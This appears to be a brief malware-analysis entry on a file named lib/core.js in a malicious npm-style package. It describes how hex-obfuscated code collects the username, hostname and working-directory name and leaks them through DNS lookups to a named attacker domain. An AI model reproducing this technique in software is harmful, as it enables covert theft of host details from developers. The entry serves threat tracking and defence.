file_path
lib/core.js
discovered 2026-07-23
Hex-obfuscated harvesting core loaded by index.js (require('./lib/core') in try/catch). Reads os.userInfo().username, os.hostname(), basename(process.cwd()), sanitizes each via clean(), then dns.resolve4()s <tag>.<user>.<host>.<cwd>.<unix-ts>.oob.sl4x0.xyz. Adds setTimeout(()=>{},500).unref() after the DNS call (refinement not seen in earlier oc-aa-module-client/gs-uitk samples).
